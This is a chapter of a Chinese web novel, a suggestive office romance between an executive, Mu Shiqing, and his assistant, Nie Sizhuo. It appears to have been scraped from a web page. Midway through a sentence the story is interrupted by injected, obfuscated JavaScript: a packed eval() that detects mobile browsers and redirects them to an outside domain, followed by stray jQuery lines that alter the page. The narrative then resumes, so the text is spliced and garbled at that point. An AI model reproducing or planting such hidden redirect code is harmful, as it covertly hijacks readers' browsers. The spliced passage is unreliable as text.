聂司卓腰窄,浴巾是系在胯上方一些的位置,连肚脐眼都没遮住,两条人鱼线极具诱惑性地从腰侧延伸至浴巾下方,被框在中间的腹肌如良田般块垒分明。
那些起伏的沟壑表面摸起来很丝滑,实际上却像是积蓄了惊人的能量,硬邦邦的。
慕时卿不想承认,但这种矛盾的触感,摸起来确实有些上头。
他自己也有腹肌,可他的腹肌更薄一些,没这么明显的膨胀感,而且谁没事会整天摸自己的腹肌呢。
聂司卓的胸膛剧烈起伏着,又往前压进了半步。
慕时卿的手臂本来就被逼得挨在了门上,现在更是半个后背都贴了上去。
如果不是他握住门把手强硬地站在原地,一定会连人带门被压在墙上。
“是啊,不但我念念不忘,它好像自从见了慕总后,也兴奋得不行。”聂司卓宽大的手掌敷在慕时卿的手背上,引导似地往下带。
慕时卿的拇指碰到了粗糙的浴巾边沿,并感觉到不正常的隆起。
下一秒,他反应过来那是什么,眯起的眼睛也因为震惊而微微睁大。
他不是不知道聂司卓应了,但从那里到这里,这长度,属实让同为男人的他意外。
聂司卓像只瞄准猎物的狼一样,敏锐地捕捉到了慕时卿眼睛的变化,他有些得意地歪了歪头,“慕总,上次没有正式见面,要不要打个招呼?”
慕时卿:……
你小子是暴露狂吗?
他反手勾住浴巾,警告地说道:“小心我让它这辈子都兴奋不起来。”
“呵。”警告声下,聂司卓反而更兴奋了,“试试。”
慕时卿感觉浴巾下的东西似乎也跟着跳了一下,跃跃欲试似的。
慕时卿:……
他考虑是否真要给对方来上一脚,但很快他就冷静下来,这小子明显是软硬不吃,越虐越爽。
也是冷静下来之后,他才开始反应过来,自己差点着了眼前这花花公子的道,居然配合着调起了情。
呵,聂司卓,花花公子,手段了得啊。
不过他也不是吃素的。
既然有人给点颜色就开车,那他就一个眼神都不给。
“让开。”他用力按着聂司卓的小腹往前推,这回推动了,倒不是因为他力气大,而是因为手滑,手指隔着浴巾按到了要害。
“嗬~”聂司卓发出一声喘息似的低吟。
慕时卿顾不上从耳朵传至胸口的酥麻,冷着脸从聂司卓身边走过。
“出去。”他用命令的语气说道,带着上位者不容置疑的权威。
“慕总,你不能只负责点火,不负责灭啊?”聂司卓站在慕时卿身后说道,听着好像还有那么一些委屈。
两人离得很近,慕时卿都能感觉得到聂司卓胸膛传来的体温,可奇怪的是,聂司卓并没有擅自触碰他的身体。
还好没有,不然他保不齐会给聂司卓一肘子。
“你好意思要我负责,我问你,现在是什么时间?”慕时卿抖了一下手中的浴袍,穿到了身上。
聂司卓表情有点儿蔫,支支吾吾:“工作时间。”
“你是什么身份?”慕时卿束紧浴袍的带子。
聂司卓闷声:“你助理。”
“工作时间,身为助理,调戏上司……”慕时卿转过身,浴袍被他穿得严丝合缝,银丝边眼镜下的眸子寒浸浸的。
聂司卓脸色变了变。
慕时卿上前一步,聂司卓怂哒哒地后退一步。
“公私不分,我现在就可以炒了你?”慕时卿说着又上前一步,身前的人被逼得又后退一步。
两人的处境掉转了过来。
“不要。”聂司卓眼尾瞬间耷拉下来,一秒从狼崽子变成大狗子,“不要炒了我。”
“那就管好你的下半身,收一收你那花花公子的脾性,别把我当消遣对象。”慕时卿说。
聂司卓听到这些指控,满脸震惊:“我不是,我没有。”
“哼。”慕时卿不想听他狡辩,后退半步,长臂一伸,“砰”地把门关上了。
聂司卓看看眼前的门板,又看看自己脚下的位置。
他居然不知不觉中被慕时卿逼到了门外。
不愧是他喜欢的人。
他趴在门上,怕里面的人听不见,声音有点儿大:“你听我解释,我不是花花公子,我也没有把你当消遣对象,我只对你有反……”
“应”字还没说出口,门就被从里面打开。
聂司卓以为慕时卿不生气了,弯起嘴角眨眨眼睛,两个酒窝乖巧得很。
慕时卿把一堆衣服,一股脑地扔到了聂司卓怀里,其中有一件还挂到了聂司卓乱蓬蓬的头上,“闭嘴,你不要面子我还要。”
“砰”地门又被关上了。
聂司卓抱着一堆衣服,满脸委屈和不知所措,像那种做错事后,半夜被对象扫地出门的笨蛋男友。
“我真的没有……”他喃喃地说道。
慕时卿站在门后,抬手往后抹了一把头发,然后低下头,浴袍遮住了他的不堪,可他却骗不了自己。
公私不分的,好像不止聂司卓。
为了告诫自己要时刻保持清醒,他没有用手,而是冲了半个小时的冷水澡。
他洗完澡出来,发现更衣间里除了淡淡的甜橙香气,已不见聂司卓的踪影。
莫名松了一口气,可胸口却像那得不到正常排解的欲望一样,有点儿堵,还有点儿失落。
他摇摇头,将这些不好的情绪都压到了最深处。
他换上衣服走出更衣间,却看到倚在门边的聂司卓。
聂司卓情绪不太高,见他出来,就站直了身体,恭恭敬敬地唤了他一声:“慕总。”好像他们彼此之间的身份和关系,已经在更衣间里划分清楚了。
他本想问为什么不去车上等着,但想想还是算了,好不容易拉开的距离,没必要去破坏。
这时身边有人经过,那人拿着房卡在找更衣间。
他忽然意识到,聂司卓留守在门外,很可能是担心有人会走错房间,毕竟他们两就闹了乌龙。
但,这也算是助理的一种职责,没必要过多解读。
回去的路上,聂司卓乖乖坐到了副驾驶位上,一路上都没说话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207381|181287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,车里安静得过分,慕时卿都不记得,车上多久没这么安静过了,连老刘都忍不住悄悄瞄了眼后视镜,又瞄了眼副驾驶位。
回到南山澜府,聂司卓跟慕时卿一起下车,从后备厢拿出沉沉的高尔夫球包背在身后,上电梯时,还职级明晰地站到了慕时卿前面。
来到公寓门口,慕时卿开门,示意聂司卓把包放在玄关处就可以走了。
聂司卓放下包后却没有走,而是看了一下表。
“下班时间到了。”他忽然勾起一个笑。
慕时卿有点懵,下意识地歪了一下头:怎么忽然说这个?
聂司卓难得在总是精确运行,极少出现宕机的慕时卿身上,看到这样有些可爱的举动,扬起的嘴角翘得更高了。
“我会证明给你看的。”他说。
“什么?”慕时卿这次宕机得有点久。
“我不是花花公子,更没有想要消遣你,”聂司卓说,“我只对你有……”
刚才在更衣间没说完的话,这次也没能说完,因为慕时卿眯着眼睛警告他。
他也不打算在这个时候忤逆慕时卿,“我也不是公私不分。”
慕时卿沉默了一下。
聂司卓比他预想的要缠人。
既然如此,何不顺势而为,加以利用。
“那行啊,证明给我看。”他语调轻慢。”
“嗯,”聂司卓没有被这个轻视的语气影响,笑着说,“好啊,那你可看好了。”
他会证明给慕时卿看,他不是公私不分,不是花花公子,对慕时卿也不是想要消遣。
还有,他真的只对慕时卿一个人有反应。
*
次日周末,慕时卿回曦璟苑,按照约定,买了一辆小汽车送给慕海洋。
小汽车是按照真实汽车等比缩小的,人能坐进去,还能开。
慕海洋高兴得不行,拉着慕时卿汇报这周他看了多少页《世界历史》。
慕时卿这才意识到一个问题,就是在有奖励的情况下,三分钟热度会延长。
可他好像并没有给聂司卓任何奖励,为什么那人却越来越起劲了呢?
恰逢慕时云来接慕海洋,见到慕时卿一脸愁容,便生出了几分好奇心。
她很少见慕时卿为什么事情烦恼,不知怎的,就想到了上周见过的那位“摩的司机”。
“你这周怎么没带你的小男朋友回来。”
慕时卿回过神来,四下看了一圈,发现没有其他人后才说道:“别胡说八道。”
“啧,都什么年代了……”慕时云在慕时卿的注视下住了嘴。
两人看着慕海洋在院子里开小汽车转圈。
等慕海洋开到第三圈的时候,慕时卿终于还是没忍住开口:“你知道该怎么让一个人对你失去兴趣吗?”
慕时云刚才就在赌,慕时卿有事要问她,没想到真被她赌对了。
她暂时按下想要八卦的欲望,就算问了慕时卿也不会说的,反而会从此闭口不谈。
“相处久了,见到彼此的缺点,就会失去兴趣。”她一本正经的说道,“跟他谈个恋爱就好。”